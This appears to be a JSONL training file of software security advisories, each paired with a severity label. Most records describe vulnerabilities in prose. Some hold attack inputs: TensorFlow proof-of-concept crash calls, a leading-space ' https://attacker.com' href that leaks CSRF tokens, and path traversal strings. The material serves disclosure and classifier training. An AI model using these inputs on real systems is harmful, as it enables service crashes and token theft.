-{"id": "2fc1527f383fb7b38263", "text": "Double free in smallvec\n\nAttempting to call grow on a spilled SmallVec with a value equal to the current capacity causes it to free the existing data. This performs a double free immediately and may lead to use-after-free on subsequent accesses to the SmallVec contents. An attacker that controls the value passed to grow may exploit this flaw to obtain memory contents or gain remote code execution.", "text_raw": "Double free in smallvec\n\n[Severity: CRITICAL]\n\nAttempting to call grow on a spilled SmallVec with a value equal to the current capacity causes it to free the existing data. This performs a double free immediately and may lead to use-after-free on subsequent accesses to the SmallVec contents. An attacker that controls the value passed to grow may exploit this flaw to obtain memory contents or gain remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "2bd66bf40025ae3202c4", "text": "Data races in multiqueue\n\nAffected versions of multiqueue unconditionally implemented `Send` for types used in queue implementations (`InnerSend<RW, T>`, `InnerRecv<RW, T>`, `FutInnerSend<RW, T>`, `FutInnerRecv<RW, T>`). This allows users to send non-Send types to other threads, which can lead to data race bugs or other undefined behavior.", "text_raw": "Data races in multiqueue\n\n[Severity: HIGH]\n\nAffected versions of multiqueue unconditionally implemented `Send` for types used in queue implementations (`InnerSend<RW, T>`, `InnerRecv<RW, T>`, `FutInnerSend<RW, T>`, `FutInnerRecv<RW, T>`). This allows users to send non-Send types to other threads, which can lead to data race bugs or other undefined behavior.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "2c3b49546d5c4cfc51d1", "text": "Insufficient size checks in ws\n\nAn issue was discovered in the ws crate through 2020-09-25 for Rust. The outgoing buffer is not properly limited, leading to a remote memory-consumption attack.", "text_raw": "Insufficient size checks in ws\n\n[Severity: HIGH]\n\nAn issue was discovered in the ws crate through 2020-09-25 for Rust. The outgoing buffer is not properly limited, leading to a remote memory-consumption attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "841051201fc2ec5df2df", "text": "AutoPlay v1.33 (autoplay.ini) Local Buffer Overflow Exploit (SEH)", "text_raw": "AutoPlay v1.33 (autoplay.ini) Local Buffer Overflow Exploit (SEH)\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-02-15", "split": "train"}
-{"id": "bc0ba90f45770eaeda27", "text": "Lack of validation in `SparseDenseCwiseMul`\n\n### Impact\nDue to lack of validation in `tf.raw_ops.SparseDenseCwiseMul`, an attacker can trigger denial of service via `CHECK`-fails or accesses to outside the bounds of heap allocated data:\n\n```python\nimport tensorflow as tf\n\nindices = tf.constant([], shape=[10, 0], dtype=tf.int64)\nvalues = tf.constant([], shape=[0], dtype=tf.int64)\nshape = tf.constant([0, 0], shape=[2], dtype=tf.int64)\ndense = tf.constant([], shape=[0], dtype=tf.int64)\n\ntf.raw_ops.SparseDenseCwiseMul(\n    sp_indices=indices, sp_values=values, sp_shape=shape, dense=dense)\n```\n\nSince the [implementation](https://github.com/tensorflow/tensorflow/blob/38178a2f7a681a7835bb0912702a134bfe3b4d84/tensorflow/core/kernels/sparse_dense_binary_op_shared.cc#L68-L80) only validates the rank of the input arguments but no [constraints between dimensions](https://www.tensorflow.org/api_docs/python/tf/raw_ops/SparseDenseCwiseMul), an attacker can abuse them to trigger internal `CHECK` assertions (and cause program termination, denial of service) or to write to memory outside of bounds of heap allocated tensor buffers.\n\n### Patches\nWe have patched the issue in GitHub commit [7ae2af34087fb4b5c8915279efd03da3b81028bc](https://github.com/tensorflow/tensorflow/commit/7ae2af34087fb4b5c8915279efd03da3b81028bc).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Lack of validation in `SparseDenseCwiseMul`\n\n[Severity: LOW]\n\n### Impact\nDue to lack of validation in `tf.raw_ops.SparseDenseCwiseMul`, an attacker can trigger denial of service via `CHECK`-fails or accesses to outside the bounds of heap allocated data:\n\n```python\nimport tensorflow as tf\n\nindices = tf.constant([], shape=[10, 0], dtype=tf.int64)\nvalues = tf.constant([], shape=[0], dtype=tf.int64)\nshape = tf.constant([0, 0], shape=[2], dtype=tf.int64)\ndense = tf.constant([], shape=[0], dtype=tf.int64)\n  \ntf.raw_ops.SparseDenseCwiseMul(\n    sp_indices=indices, sp_values=values, sp_shape=shape, dense=dense)\n```\n\nSince the [implementation](https://github.com/tensorflow/tensorflow/blob/38178a2f7a681a7835bb0912702a134bfe3b4d84/tensorflow/core/kernels/sparse_dense_binary_op_shared.cc#L68-L80) only validates the rank of the input arguments but no [constraints between dimensions](https://www.tensorflow.org/api_docs/python/tf/raw_ops/SparseDenseCwiseMul), an attacker can abuse them to trigger internal `CHECK` assertions (and cause program termination, denial of service) or to write to memory outside of bounds of heap allocated tensor buffers.\n\n### Patches\nWe have patched the issue in GitHub commit [7ae2af34087fb4b5c8915279efd03da3b81028bc](https://github.com/tensorflow/tensorflow/commit/7ae2af34087fb4b5c8915279efd03da3b81028bc).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "f5ca4f119ce28b38c027", "text": "windows-build-tools downloads Resources over HTTP\n\nAffected versions of `windows-build-tools` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-build-tools`.\n\n## Recommendation\n\nUpdate to version 1.0.0 or later.", "text_raw": "windows-build-tools downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `windows-build-tools` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-build-tools`.\n\n\n## Recommendation\n\nUpdate to version 1.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "6f62110466e6cd4e1c5c", "text": "Malicious Package in aasync\n\nAll versions of `aasync` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in aasync\n\n[Severity: CRITICAL]\n\nAll versions of `aasync` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "8043803f5aa40f0bb9d8", "text": "Clipboard-based XSS\n\n### Impact\nXSS against the user.\n\n### Details\njsuites is vulnerable to DOM based XSS if the user can be tricked into copying _anything_ from a malicious and pasting it into the html editor. This is because a part of the clipboard content is directly written to `innerHTML` causing XSS.\n\n### References\nThe Curious Case of Copy & Paste – on risks of pasting arbitrary content in browsers: https://research.securitum.com/the-curious-case-of-copy-paste/", "text_raw": "Clipboard-based XSS\n\n[Severity: HIGH]\n\n### Impact\nXSS against the user.\n\n### Details\njsuites is vulnerable to DOM based XSS if the user can be tricked into copying _anything_ from a malicious and pasting it into the html editor. This is because a part of the clipboard content is directly written to `innerHTML` causing XSS.\n\n### References\nThe Curious Case of Copy & Paste – on risks of pasting arbitrary content in browsers: https://research.securitum.com/the-curious-case-of-copy-paste/\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-22", "split": "train"}
-{"id": "1fbfb96ac06c2a36e676", "text": "Artiphp CMS v5.5.0 Multiple XSS POST Injection Vulnerabilities", "text_raw": "Artiphp CMS v5.5.0 Multiple XSS POST Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-05-16", "split": "train"}
-{"id": "1de2d3b6fc0a748df67d", "text": "Prototype Pollution in doc-path\n\nThis affects the package doc-path before 2.1.2.", "text_raw": "Prototype Pollution in doc-path\n\n[Severity: CRITICAL]\n\nThis affects the package doc-path before 2.1.2.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "20e1b5c08946193cf92e", "text": "Malicious Package in we3b\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in we3b\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "92066ee8e7577987b5d2", "text": "CSRF Vulnerability in jquery-ujs\n\nVersions 1.0.3 and earlier of jquery-ujs are vulnerable to an information leakage attack that may enable attackers to launch CSRF attacks, as it allows attackers to send CSRF tokens to external domains.\n\nWhen an attacker controls the href attribute of an anchor tag, or\nthe action attribute of a form tag triggering a POST action, the attacker can set the\nhref or action to \" https://attacker.com\". By prepending a space to the external domain, it causes jQuery to consider it a same origin request, resulting in the user's CSRF token being sent to the external domain.\n\n## Recommendation\n\nUpgrade jquery-ujs to version 1.0.4 or later.", "text_raw": "CSRF Vulnerability in jquery-ujs\n\n[Severity: MEDIUM]\n\nVersions 1.0.3 and earlier of jquery-ujs are vulnerable to an information leakage attack that may enable attackers to launch CSRF attacks, as it allows attackers to send CSRF tokens to external domains.\n\nWhen an attacker controls the href attribute of an anchor tag, or\nthe action attribute of a form tag triggering a POST action, the attacker can set the\nhref or action to \" https://attacker.com\". By prepending a space to the external domain, it causes jQuery to consider it a same origin request, resulting in the user's CSRF token being sent to the external domain.\n\n\n## Recommendation\n\nUpgrade jquery-ujs to version 1.0.4 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "b1f87d248e64043e8931", "text": "Crash in NMS ops caused by integer conversion to unsigned\n\n### Impact\nAn attacker can cause denial of service in applications serving models using `tf.raw_ops.NonMaxSuppressionV5` by triggering a division by 0:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.NonMaxSuppressionV5(\n  boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],\n  scores=[1.0,2.0,3.0],\n  max_output_size=-1,\n  iou_threshold=0.5,\n  score_threshold=0.5,\n  soft_nms_sigma=1.0,\n  pad_to_max_output_size=True)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/image/non_max_suppression_op.cc#L170-L271) uses a user controlled argument to resize a `std::vector`:\n\n```cc\n  const int output_size = max_output_size.scalar<int>()();\n  // ...\n  std::vector<int> selected;\n  // ...\n  if (pad_to_max_output_size) {\n    selected.resize(output_size, 0);\n    // ...\n  }\n```\n\nHowever, as `std::vector::resize` takes the size argument as a `size_t` and `output_size` is an `int`, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash.\n\nA similar issue occurs in `CombinedNonMaxSuppression`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.NonMaxSuppressionV5(\n  boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]],\n  scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]],\n  max_output_size_per_class=-1,\n  max_total_size=10,\n  iou_threshold=score_threshold=0.5,\n  pad_per_class=True,\n  clip_boxes=True)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d](https://github.com/tensorflow/tensorflow/commit/3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d) and commit [b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58](https://github.com/tensorflow/tensorflow/commit/b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Crash in NMS ops caused by integer conversion to unsigned\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can cause denial of service in applications serving models using `tf.raw_ops.NonMaxSuppressionV5` by triggering a division by 0:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.NonMaxSuppressionV5(\n  boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],\n  scores=[1.0,2.0,3.0],\n  max_output_size=-1,\n  iou_threshold=0.5,\n  score_threshold=0.5,\n  soft_nms_sigma=1.0,\n  pad_to_max_output_size=True)\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/image/non_max_suppression_op.cc#L170-L271) uses a user controlled argument to resize a `std::vector`:\n\n```cc\n  const int output_size = max_output_size.scalar<int>()();\n  // ...\n  std::vector<int> selected;\n  // ...\n  if (pad_to_max_output_size) {\n    selected.resize(output_size, 0);\n    // ...\n  }\n```\n    \nHowever, as `std::vector::resize` takes the size argument as a `size_t` and `output_size` is an `int`, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash.\n\nA similar issue occurs in `CombinedNonMaxSuppression`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.NonMaxSuppressionV5(\n  boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]],\n  scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]],\n  max_output_size_per_class=-1,\n  max_total_size=10,\n  iou_threshold=score_threshold=0.5,\n  pad_per_class=True,\n  clip_boxes=True)\n```\n  \n### Patches\nWe have patched the issue in GitHub commit [3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d](https://github.com/tensorflow/tensorflow/commit/3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d) and commit [b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58](https://github.com/tensorflow/tensorflow/commit/b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "465e96f5e71e007af745", "text": "XSS in HtmlSanitizer\n\n### Impact\n\nIf you have explicitly allowed the `<style>` tag, an attacker could craft HTML that includes script after passing through the sanitizer. The default settings disallow the `<style>` tag so there is no risk if you have not explicitly allowed the `<style>` tag.\n\n### Patches\n\nThe problem has been fixed in version 5.0.372.\n\n### Workarounds\n\nRemove the `<style>` tag from the set of allowed tags.\n\n### For more information\n\nIf you have any questions or comments about this advisory open an issue in https://github.com/mganss/HtmlSanitizer\n\n### Credits\n\nThis issue was discovered by Michal Bentkowski of Securitum.", "text_raw": "XSS in HtmlSanitizer\n\n[Severity: LOW]\n\n### Impact\n\nIf you have explicitly allowed the `<style>` tag, an attacker could craft HTML that includes script after passing through the sanitizer. The default settings disallow the `<style>` tag so there is no risk if you have not explicitly allowed the `<style>` tag.\n\n### Patches\n\nThe problem has been fixed in version 5.0.372.\n\n### Workarounds\n\nRemove the `<style>` tag from the set of allowed tags.\n\n### For more information\n\nIf you have any questions or comments about this advisory open an issue in https://github.com/mganss/HtmlSanitizer\n\n### Credits\n\nThis issue was discovered by Michal Bentkowski of Securitum.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-01-04", "split": "train"}
-{"id": "aa7231440453256fa896", "text": "URL Redirection to Untrusted Site ('Open Redirect') in Products.PluggableAuthService\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nOpen redirect vulnerability - a maliciously crafted link to the login form and login functionality could redirect the browser to a different website.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe problem has been fixed in version 2.6.1. Depending on how you have installed Products.PluggableAuthService, you should change the buildout version pin to `2.6.1`  and re-run the buildout, or if you used `pip` simply do `pip install \"Products.PluggableAuthService>=2.6.1\"`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThere is no workaround. Users are encouraged to upgrade.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- [GHSA-p44j-xrqg-4xrr](https://github.com/zopefoundation/Products.PluggableAuthService/security/advisories/GHSA-p44j-xrqg-4xrr)\n- [Products.PluggableAuthService on PyPI](https://pypi.org/project/Products.PluggableAuthService/)\n- [OWASP page on open redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Products.PluggableAuthService issue tracker](https://github.com/zopefoundation/Products.PluggableAuthService/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)", "text_raw": "URL Redirection to Untrusted Site ('Open Redirect') in Products.PluggableAuthService\n\n[Severity: MEDIUM]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nOpen redirect vulnerability - a maliciously crafted link to the login form and login functionality could redirect the browser to a different website.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe problem has been fixed in version 2.6.1. Depending on how you have installed Products.PluggableAuthService, you should change the buildout version pin to `2.6.1`  and re-run the buildout, or if you used `pip` simply do `pip install \"Products.PluggableAuthService>=2.6.1\"`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThere is no workaround. Users are encouraged to upgrade.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- [GHSA-p44j-xrqg-4xrr](https://github.com/zopefoundation/Products.PluggableAuthService/security/advisories/GHSA-p44j-xrqg-4xrr)\n- [Products.PluggableAuthService on PyPI](https://pypi.org/project/Products.PluggableAuthService/)\n- [OWASP page on open redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Products.PluggableAuthService issue tracker](https://github.com/zopefoundation/Products.PluggableAuthService/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-08", "split": "train"}
-{"id": "eafb1a26e075a2bcbdf7", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1138, CVE-2019-1217, CVE-2019-1237, CVE-2019-1298.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1138, CVE-2019-1217, CVE-2019-1237, CVE-2019-1298.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "fee304f02bdc3e765e15", "text": "Cross-site scripting in Apache HttpClient\n\nApache HttpClient versions prior to version 4.5.13 and 5.0.3 can misinterpret malformed authority component in request URIs passed to the library as java.net.URI object and pick the wrong target host for request execution.", "text_raw": "Cross-site scripting in Apache HttpClient\n\n[Severity: MEDIUM]\n\nApache HttpClient versions prior to version 4.5.13 and 5.0.3 can misinterpret malformed authority component in request URIs passed to the library as java.net.URI object and pick the wrong target host for request execution.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-03", "split": "train"}
-{"id": "18cd853ba59401db4b3c", "text": "Potential Remote Code Execution vulnerability\n\nPackages nette/application versions prior to 2.2.10, 2.3.14, 2.4.16, 3.0.6 and nette/nette versions prior to 2.0.19 and 2.1.13 are vulnerable to an code injection attack by passing specially formed parameters to URL that may possibly leading to RCE.\n\nReported by Cyku Hong from DEVCORE (https://devco.re)\n\n### Impact\nCode injection, possible remote code execution.\n\n### Patches\nFixed in nette/application 2.2.10, 2.3.14, 2.4.16, 3.0.6 and nette/nette 2.0.19 and 2.1.13", "text_raw": "Potential Remote Code Execution vulnerability\n\n[Severity: HIGH]\n\nPackages nette/application versions prior to 2.2.10, 2.3.14, 2.4.16, 3.0.6 and nette/nette versions prior to 2.0.19 and 2.1.13 are vulnerable to an code injection attack by passing specially formed parameters to URL that may possibly leading to RCE. \n\nReported by Cyku Hong from DEVCORE (https://devco.re)\n\n### Impact\nCode injection, possible remote code execution.\n\n### Patches\nFixed in nette/application 2.2.10, 2.3.14, 2.4.16, 3.0.6 and nette/nette 2.0.19 and 2.1.13", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-02", "split": "train"}
-{"id": "1a0876d17d9be9c72ee6", "text": "Malicious Package in midway-dataproxy\n\nAll versions of `midway-dataproxy` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in midway-dataproxy\n\n[Severity: CRITICAL]\n\nAll versions of `midway-dataproxy` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "3816f583fb9c9274d9f7", "text": "Negative charge in shopping cart in Shopizer\n\n### Impact\nUsing API or Controller based versions negative quantity is not adequately validated hence creating incorrect shopping cart and order total.\n\n### Patches\nAdding a back-end verification to check that quantity parameter isn't negative. If so, it is set to 1. Patched in 2.11.0\n\n### Workarounds\nWithout uprading, it's possible to just apply the fixes in the same files it's done for the patch. Or you use javax constraint validation on the quantity parameter.\n\n### References\n[Input Validation](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n[Using bean validation constraint](https://javaee.github.io/tutorial/bean-validation002.html)\n[Commits with fixes](https://github.com/shopizer-ecommerce/shopizer/commit/929ca0839a80c6f4dad087e0259089908787ad2a)\nCVE Details below : \n[Mitre](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11007)\n[NVD](https://nvd.nist.gov/vuln/detail/CVE-2020-11007)\n\n### Credits\nFound and solved by Yannick Gosset from Aix-Marseille University cybersecurity\nmaster program supervised by Yassine Ilmi", "text_raw": "Negative charge in shopping cart in Shopizer\n\n[Severity: CRITICAL]\n\n### Impact\nUsing API or Controller based versions negative quantity is not adequately validated hence creating incorrect shopping cart and order total. \n\n### Patches\nAdding a back-end verification to check that quantity parameter isn't negative. If so, it is set to 1. Patched in 2.11.0\n\n### Workarounds\nWithout uprading, it's possible to just apply the fixes in the same files it's done for the patch. Or you use javax constraint validation on the quantity parameter.\n\n### References\n[Input Validation](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n[Using bean validation constraint](https://javaee.github.io/tutorial/bean-validation002.html)\n[Commits with fixes](https://github.com/shopizer-ecommerce/shopizer/commit/929ca0839a80c6f4dad087e0259089908787ad2a)\nCVE Details below : \n[Mitre](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11007)\n[NVD](https://nvd.nist.gov/vuln/detail/CVE-2020-11007)\n\n### Credits\nFound and solved by Yannick Gosset from Aix-Marseille University cybersecurity\nmaster program supervised by Yassine Ilmi ", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-04-22", "split": "train"}
-{"id": "69a9f237f046162629c8", "text": "Path Traversal in node-srv\n\nVersions of `node-srv` before 2.1.1 are vulnerable to path traversal allowing a remote attacker to read files from the server that uses `node-srv`.\n\n## Recommendation\n\nUpdate to version 2.1.1 or later.", "text_raw": "Path Traversal in node-srv\n\n[Severity: MEDIUM]\n\nVersions of `node-srv` before 2.1.1 are vulnerable to path traversal allowing a remote attacker to read files from the server that uses `node-srv`.\n\n\n## Recommendation\n\nUpdate to version 2.1.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "d3745a71236e05f0d6e5", "text": "Red Hat Linux JBoss Seam 2 Remote Code Execution Vulnerability\n\nAffected: Red Hat JBoss Seam 2\n\nJBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform 4.3.0 for Red Hat Linux, allows attackers to perform remote code execution. This vulnerability can only be exploited when the Java Security Manager is not properly configured.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Red Hat Linux JBoss Seam 2 Remote Code Execution Vulnerability\n\nAffected: Red Hat JBoss Seam 2\n\nJBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform 4.3.0 for Red Hat Linux, allows attackers to perform remote code execution. This vulnerability can only be exploited when the Java Security Manager is not properly configured.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-10", "split": "train"}
-{"id": "a438fa21a1e52e101308", "text": "Path Traversal and Improper Input Validation in Apache Commons IO\n\nIn Apache Commons IO before 2.7, When invoking the method FileNameUtils.normalize with an improper input string, like \"//../foo\", or \"\\\\..\\foo\", the result would be the same value, thus possibly providing access to files in the parent directory, but not further above (thus \"limited\" path traversal), if the calling code would use the result to construct a path value.", "text_raw": "Path Traversal and Improper Input Validation in Apache Commons IO\n\n[Severity: MEDIUM]\n\nIn Apache Commons IO before 2.7, When invoking the method FileNameUtils.normalize with an improper input string, like \"//../foo\", or \"\\\\..\\foo\", the result would be the same value, thus possibly providing access to files in the parent directory, but not further above (thus \"limited\" path traversal), if the calling code would use the result to construct a path value.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-26", "split": "train"}
-{"id": "48c85c34e9de823db6f8", "text": "Unsoundness in bigint\n\nAn issue was discovered in the bigint crate through 2020-05-07 for Rust. It allows a soundness violation.", "text_raw": "Unsoundness in bigint\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the bigint crate through 2020-05-07 for Rust. It allows a soundness violation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
